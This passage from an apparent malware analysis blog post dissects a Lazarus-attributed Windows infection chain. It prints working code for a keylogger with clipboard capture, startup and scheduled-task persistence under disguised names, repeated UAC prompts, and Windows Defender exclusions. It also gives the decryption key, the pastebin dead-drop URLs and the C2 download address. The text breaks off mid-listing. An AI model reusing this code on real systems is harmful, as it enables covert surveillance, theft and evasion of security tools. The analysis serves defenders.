<span class="number">0xA3</span>:<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line">    <span class="keyword">global</span> e_buf</span><br><span class="line">    tt = check_window(event)</span><br><span class="line"></span><br><span class="line">    key = event.Ascii</span><br><span class="line">    <span class="keyword">if</span> (is_control_down()):key=<span class="string">f&quot;&lt;^<span class="subst">&#123;event.Key&#125;</span>&gt;&quot;</span></span><br><span class="line">    <span class="keyword">elif</span> key==<span class="number">0xD</span>:key=<span class="string">&quot;\n&quot;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">if</span> key&gt;=<span class="number">32</span> <span class="keyword">and</span> key&lt;=<span class="number">126</span>:key=<span class="built_in">chr</span>(key)</span><br><span class="line">        <span class="keyword">else</span>:key=<span class="string">f&#x27;&lt;<span class="subst">&#123;event.Key&#125;</span>&gt;&#x27;</span></span><br><span class="line">    tt += key</span><br><span class="line">    <span class="keyword">if</span> is_control_down() <span class="keyword">and</span> event.Key == <span class="string">&#x27;C&#x27;</span>:</span><br><span class="line">        start_time = Timer(<span class="number">0.1</span>, run_copy_clipboard)</span><br><span class="line">        start_time.start()</span><br><span class="line">    <span class="keyword">elif</span> is_control_down() <span class="keyword">and</span> event.Key == <span class="string">&#x27;V&#x27;</span>:</span><br><span class="line">        start_time = Timer(<span class="number">0.1</span>, run_copy_clipboard)</span><br><span class="line">        start_time.start()</span><br><span class="line"></span><br><span class="line">    e_buf += tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">startHk</span>():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hk_loop</span>():startHk();pythoncom.PumpMessages()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_client</span>():</span><br><span class="line">    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()</span><br><span class="line">    <span class="keyword">try</span>:client.run()</span><br><span class="line">    <span class="keyword">except</span> KeyboardInterrupt:sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    run_client()</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><h4 id="n2-pow"><a href="#n2-pow" class="headerlink" title="~&#x2F;.n2&#x2F;pow"></a>~&#x2F;.n2&#x2F;pow</h4><p>This program targets the Windows environment for malicious attacks.</p><p>First, it writes hardcoded python code into <code>%APPDATA_ROAMING_DIRECTORY%/Microsoft/Windows/StartMenu/Programs/Startup/Windows Update Script.PyW</code>.</p><p>Achieves startup persistence.</p><h5 id="Windows-Update-Script-PyW"><a href="#Windows-Update-Script-PyW" class="headerlink" title="Windows Update Script.PyW"></a>Windows Update Script.PyW</h5><p>In the code, there are many Hard Coded encrypted ciphertexts. These ciphertexts are decrypted via XOR (key &#x3D; <code>!!!HappyPenguin1950!!!</code>) + base64decode + reverse, which decrypts to many <code>https://pastebin[.]com/</code> URLs. Next, it will fetch data from accessible URLs to decrypt.</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>HolesGarmin3166_OnsitePoet2677</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>CrackEden1251_WaitsRenee9809</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>KerrWhale2274_KnowNtsc6785</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NumberHunt2579_JazzByrne1819</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>AtomIsps2511_FinedPress2664</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>ZoomHockey3706_MassBallet5863</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>RehabVagina9550_PaceTiles7442</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NanoDubai9234_LoaderGeoff3367</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>ThankSends9968_BiosCube2008</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NegroConfig1449_SoupRule3443</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>EnglBlazer5735_FittedInjury1823</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>FeetMosque6032_KellerFinest4047</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NotingRobe2871_FranzStill8494</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>CementTeddy9347_SalesRacks7262</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>Concatenated strings like <code>HolesGarmin3166_OnsitePoet2677</code> represent the username followed by the file name. Next, scripts are written to test each URL, and finally, the only accessible one is <code>https://pastebin[.]com/u/NotingRobe2871</code>.</p> <img src="/assets/LinkedinPastebin.png" alt="image-20260125101548610" style="zoom:50%;" /><p>Content as follows:</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">7</span>b<span class="number">226</span>d<span class="number">657373616765223</span>a<span class="number">202234333133373732333030323832393064333230383537313731313265323030303633373230393538343536363134353136643332333834313364326136343535323030643330316332303735366334633763346236633538366435383139376530323338323234393331323435333561222</span><span class="keyword">c</span><span class="number">20227369676e6174757265223</span>a<span class="number">20226</span>a<span class="number">3363696947733356564e63535465634</span>d<span class="number">3465315</span>a<span class="number">4</span><span class="keyword">c</span><span class="number">41307471643264566</span>a<span class="number">3955673175364</span>f<span class="number">33787267396e66616</span>e<span class="number">6669384</span>a<span class="number">724961546651786</span>a<span class="number">52697</span>a<span class="number">50735058345</span>a<span class="number">4458422</span>b<span class="number">494</span>b<span class="number">686944355</span>a<span class="number">7171635744514</span><span class="keyword">c</span><span class="number">4770354</span>f<span class="number">555143384</span>d<span class="number">39557678556877712</span>f<span class="number">596</span>d<span class="number">743533473261647969636547394265486248716e487</span>a<span class="number">6275707568707572432</span>b<span class="number">6968427666356e34334</span>d<span class="number">6</span>d<span class="number">387937712</span>b<span class="number">4169627</span>a<span class="number">4e626</span>d<span class="number">597056556662766</span>f<span class="number">42524</span>d<span class="number">693372514</span>b<span class="number">554</span>b<span class="number">4</span>b<span class="number">48313548654</span>d<span class="number">476</span>a<span class="number">4e784</span>a<span class="number">57586</span>d<span class="number">6</span>f<span class="number">645</span>a<span class="number">746</span>f<span class="number">2</span>b<span class="number">4e65392</span>f<span class="number">3430434</span>f<span class="number">3374417931736</span>d<span class="number">5534333950746</span><span class="keyword">c</span><span class="number">535159536</span>b<span class="number">70703067797477484</span><span class="keyword">c</span><span class="number">357</span>a<span class="number">6</span><span class="keyword">c</span><span class="number">4</span>d<span class="number">417</span>a<span class="number">44684</span><span class="keyword">c</span><span class="number">4</span><span class="keyword">c</span><span class="number">46396565634</span>f<span class="number">6</span>d<span class="number">734</span><span class="keyword">c</span><span class="number">694363625645694</span>b<span class="number">766</span>a<span class="number">557941704</span>a<span class="number">32416</span>d<span class="number">55773268364</span>a<span class="number">595</span>a<span class="number">466967632</span>f<span class="number">457361455</span>a<span class="number">533959576</span>f<span class="number">476675695665434</span>f<span class="number">736</span><span class="keyword">c</span><span class="number">7651336</span>a<span class="number">6977674557766</span>f<span class="number">7270655051316</span>f<span class="number">5331713043774</span>d<span class="number">5</span>a<span class="number">4834525049776</span>b<span class="number">6</span>d<span class="number">43513</span>d<span class="number">3</span>d<span class="number">227</span>d</span><br></pre></td></tr></table></figure><p>This content is also decrypted via XOR (key &#x3D; <code>!!!HappyPenguin1950!!!</code>) + base64decode + reverse, resulting in:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;431377230028290d32085717112e200063720958456614516d3238413d2a6455200d301c20756c4c7c4b6c586d58197e023822493124535a&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;signature&quot;</span><span class="punctuation">:</span> <span class="string">&quot;j3ciiGs3VVNcSTecM4e1ZLA0tqd2dVj9Ug1u6O3xrg9nfanfi8JrIaTfQxjRizPsPX4ZDXB+IKhiD5ZqqcWDQLGp5OUQC8M9UvxUhwq/Ymt53G2adyiceG9BeHbHqnHzbupuhpurC+ihBvf5n43Mm8y7q+AibzNbmYpVUfbvoBRMi3rQKUKKH15HeMGjNxJWXmodZto+Ne9/40CO3tAy1smU439PtlSQYSkpp0gytwHL5zlMAzDhLLF9eecOmsLiCcbVEiKvjUyApJ2AmUw2h6JYZFigc/EsaEZS9YWoGfuiVeCOslvQ3jiwgEWvorpePQ1oS1q0CwMZH4RPIwkmCQ==&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>It first verifies this signature. The verification method uses a hardcoded hex-encoded RSA public key in the program:</p><figure class="highlight vbnet"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">-----BEGIN <span class="keyword">PUBLIC</span> <span class="keyword">KEY</span>-----</span><br><span class="line">MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvRgxN5vWny1/dAc7s6KM</span><br><span class="line">ZURyqQti1OE11PkaXPY32E39TKau6vD+QntWKNTFI53WmkvY6YbLGf06oiZ99uYd</span><br><span class="line">TkeL/gtKfnaPPOt1mADL9R3nFwvyWABw7Q41NgYlu7XHMiTUuh/TRPvOiXL5yKx+<span class="number">4</span></span><br><span class="line">PnXsN+sE93pk2qNpB+cnJ1/b4re89xuNpD9HQjzsda3PNOD13s7OL7fq+<span class="number">74</span>tY4oc</span><br><span class="line">MQ6BNFOq9J46xd/<span class="number">4</span>jay8n/q33v3PgwwoL6TQR5grUdfblXZ8WZzxXVKEqMtqJtmR</span><br><span class="line">M8zjHoods0PoopOS6IzoYD+anchz5JCKHBrrMXd8g+A2hMq+W5lEkIvtbe1dPXsn</span><br><span class="line">CQIDAQAB</span><br><span class="line">-----<span class="keyword">END</span> <span class="keyword">PUBLIC</span> <span class="keyword">KEY</span>-----</span><br></pre></td></tr></table></figure><p>And uses the following code to verify if the message has been modified:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">trusted_public_key.verify(</span><br><span class="line">    signature,</span><br><span class="line">    message.encode(<span class="string">&quot;utf-8&quot;</span>),</span><br><span class="line">    padding.PSS(</span><br><span class="line">        mgf=padding.MGF1(hashes.SHA256()),</span><br><span class="line">        salt_length=padding.PSS.MAX_LENGTH</span><br><span class="line">    ),</span><br><span class="line">    hashes.SHA256()</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>After verification passes, it decrypts the message content using XOR (key &#x3D; <code>!!!HappyPenguin1950!!!</code>) + base64decode + reverse, obtaining:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://23.254.164[.]156/introduction-video</span><br></pre></td></tr></table></figure><p>It will visit it and download the returned file, storing it in <code>&#123;ROAMING_APPDATA_PATH&#125; \Microsoft\Windows \Applications \Runtime Broker.exe</code>.</p><p>Downloaded file sha256: <code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></p><p>According to <a href="https://www.virustotal.com/gui/file/ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527/detection">VirusTotal</a>, this is a known malware, and this malware is referred to as <strong>TSUNAMI_INSTALLER</strong> in <code>~/.n2/pow</code>.</p><p>And TSUNAMI_INSTALLER is mentioned in this analysis report <a href="https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/">https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/</a> as being used by the <strong>Lazarus Group</strong>.</p><p>Additionally, it continuously requests UAC permissions from the user to execute <code>TSUNAMI_PAYLOAD_PATH</code>. This path is <code>C:\Users\&lt;Username&gt;\AppData\Local\Temp\&lt;16_random_chars&gt;</code>, which is also hardcoded into the program.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">execute_payload_with_uac</span>() -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="comment"># Get the filepath of the pythonw.exe</span></span><br><span class="line"></span><br><span class="line">    py_exe = sys.executable</span><br><span class="line">    py_exe = py_exe.replace(<span class="string">&quot;python.exe&quot;</span>, <span class="string">&quot;pythonw.exe&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Execute the payload with UAC</span></span><br><span class="line"></span><br><span class="line">    result = ctypes.windll.shell32.ShellExecuteW(</span><br><span class="line">        <span class="literal">None</span>,</span><br><span class="line">        <span class="string">&quot;runas&quot;</span>,</span><br><span class="line">        py_exe,</span><br><span class="line">        <span class="string">f&#x27;&quot;<span class="subst">&#123;TSUNAMI_PAYLOAD_PATH&#125;</span>&quot;&#x27;</span>,</span><br><span class="line">        <span class="literal">None</span>,</span><br><span class="line">        <span class="number">1</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Return true if it worked, false if it failed</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> result &lt;= <span class="number">32</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="comment">#hel p me</span></span><br></pre></td></tr></table></figure><h5 id="C-Users-AppData-Local-Temp"><a href="#C-Users-AppData-Local-Temp" class="headerlink" title="C:\Users&lt;Username&gt;\AppData\Local\Temp\&lt;16_random_chars&gt;"></a>C:\Users&lt;Username&gt;\AppData\Local\Temp\&lt;16_random_chars&gt;</h5><p>This file is called <strong>TSUNAMI_PAYLOAD</strong>.</p><p>It executes the following operations:</p><ul><li><p>Adds three paths to the Windows Defender exclusion list, and according to the original code comments, we can know what malware they represent:</p><ul><li><p>Tsunami Installer:<code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></p></li><li><p>Tsunami Client:<code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></p></li><li><p>XMRig miner: <code>%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">EXCEPTION_PATHS = [</span><br><span class="line">        <span class="comment"># Tsunami Installer</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;ROAMING_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\Runtime Broker.exe&quot;</span>,</span><br><span class="line">        <span class="comment"># Tsunami Client</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;LOCAL_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\Runtime Broker.exe&quot;</span>,</span><br><span class="line">        <span class="comment"># XMRig miner</span></span><br><span class="line">        <span class="string">rf&quot;<span class="subst">&#123;LOCAL_APPDATA_PATH&#125;</span>\Microsoft\Windows\Applications\msedge.exe&quot;</span></span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> filepath <span class="keyword">in</span> EXCEPTION_PATHS:</span><br><span class="line">        add_windows_defender_exception(filepath)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_windows_defender_exception</span>(<span class="params">filepath: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        subprocess.run(</span><br><span class="line">            [<span class="string">&quot;powershell.exe&quot;</span>, <span class="string">f&quot;Add-MpPreference -ExclusionPath &#x27;<span class="subst">&#123;filepath&#125;</span>&#x27;&quot;</span>],</span><br><span class="line">            shell = <span class="literal">True</span>,</span><br><span class="line">            creationflags = subprocess.CREATE_NO_WINDOW,</span><br><span class="line">            stdout = subprocess.PIPE,</span><br><span class="line">            stderr = subprocess.PIPE,</span><br><span class="line">            stdin = subprocess.PIPE</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">        output(<span class="string">f&quot;Added a new file to the Windows Defender exception&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        output(<span class="string">f&quot;[-] Failed to add Windows Defender exception: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></li></ul></li><li><p>Create Scheduled Task, name is: <strong>Runtime Broker</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">powershell_script = f\<span class="string">&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string">        $Action = New-ScheduledTaskAction -Execute &quot;</span>&#123;TSUNAMI_INSTALLER_PATH&#125;<span class="string">&quot;</span></span><br><span class="line"><span class="string">        $Trigger = New-ScheduledTaskTrigger -AtLogOn</span></span><br><span class="line"><span class="string">        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive</span></span><br><span class="line"><span class="string">        $Principal.RunLevel = 1</span></span><br><span class="line"><span class="string">        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd</span></span><br><span class="line"><span class="string">        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName &quot;</span>Runtime Broke<span class="string">r&quot;</span></span><br><span class="line"><span class="string">                         \&quot;\&quot;\&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        subprocess.run(</span></span><br><span class="line"><span class="string">            [&quot;</span>powershell.exe<span class="string">&quot;,&quot;</span>-Command<span class="string">&quot;, powershell_script],</span></span><br><span class="line"><span class="string">            check = True,</span></span><br><span class="line"><span class="string">            creationflags = subprocess.CREATE_NO_WINDOW</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;</span>[+] Successfully created the task<span class="string">&quot;)</span></span><br><span class="line"><span class="string">    except Exception as e:</span></span><br><span class="line"><span class="string">        output(f&quot;</span>[-] Failed to create the task: &#123;e&#125;<span class="string">&quot;)</span></span><br><span class="line"><span class="string"></span></span><br></pre></td></tr></table></figure></li></ul><h5 id="n2-pow-Complete-Code"><a href="#n2-pow-Complete-Code" class="headerlink" title="~&#x2F;.n2&#x2F;pow Complete Code"></a>~&#x2F;.n2&#x2F;pow Complete Code</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span 